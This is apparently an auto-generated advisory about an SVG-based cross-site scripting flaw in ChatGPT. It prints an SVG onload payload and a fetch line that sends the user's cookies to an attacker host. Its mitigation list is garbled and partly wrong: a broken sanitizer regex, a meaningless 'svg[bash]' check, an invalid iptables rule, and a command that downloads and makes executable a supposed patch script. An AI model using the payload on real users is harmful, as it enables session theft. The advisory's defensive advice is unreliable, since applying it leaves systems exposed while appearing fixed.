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How CVE-2025-43714 Works
CVE-2025-43714 exploits ChatGPT’s improper handling of SVG files by rendering them inline instead of treating them as text blocks. Modern browsers parse SVG content as XML, allowing embedded JavaScript or HTML payloads. When a malicious SVG is processed by ChatGPT, the browser executes the injected code within the user’s session, leading to cross-site scripting (XSS), session hijacking, or phishing attacks. The vulnerability stems from insufficient input sanitization and failure to enforce Content Security Policy (CSP) for SVG rendering.
DailyCVE Form
Platform: ChatGPT
Version: Pre-2025-03-30
Vulnerability: SVG-based HTML Injection
Severity: Critical
Date: 2025-06-12
Prediction: Patch expected by 2025-07-10
What Undercode Say:
Exploitation Analysis
1. Malicious SVG Payload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"/>
2. Browser Execution:
- SVG’s `onload` triggers JavaScript execution.
- Bypasses ChatGPT’s sanitization due to XML parsing.
3. Exfiltrate Session Data:
fetch('https://attacker.com/steal?cookie=' + document.cookie);
Protection Measures
1. Input Sanitization:
function sanitizeSVG(input) {
return input.replace(/on\w+="[^"]"/g, '');
}
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'none'
3. Disable Inline SVG Rendering:
- Force SVG files to render as plaintext.
4. Patch Verification:
curl -I https://chat.openai.com | grep "X-Content-Type-Options"
5. Mitigation Command:
add_header X-XSS-Protection "1; mode=block";
6. Exploit Detection:
import re malicious_svg = re.compile(r'<script.?>|on\w+=', re.IGNORECASE)
7. Log Analysis:
grep -r ".svg" /var/log/nginx/access.log | grep -v "static"
8. Browser Hardening:
document.addEventListener('DOMContentLoaded', () => {
if (document.querySelector('svg[bash]')) {
document.body.innerHTML = 'Blocked malicious SVG';
}
});
9. Automated Patching:
wget https://chat.openai.com/security/patches/CVE-2025-43714 -O patch.sh && chmod +x patch.sh
10. Network-Level Blocking:
iptables -A INPUT -p http --dport 443 -m string --string "<svg" --algo bm -j DROP
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
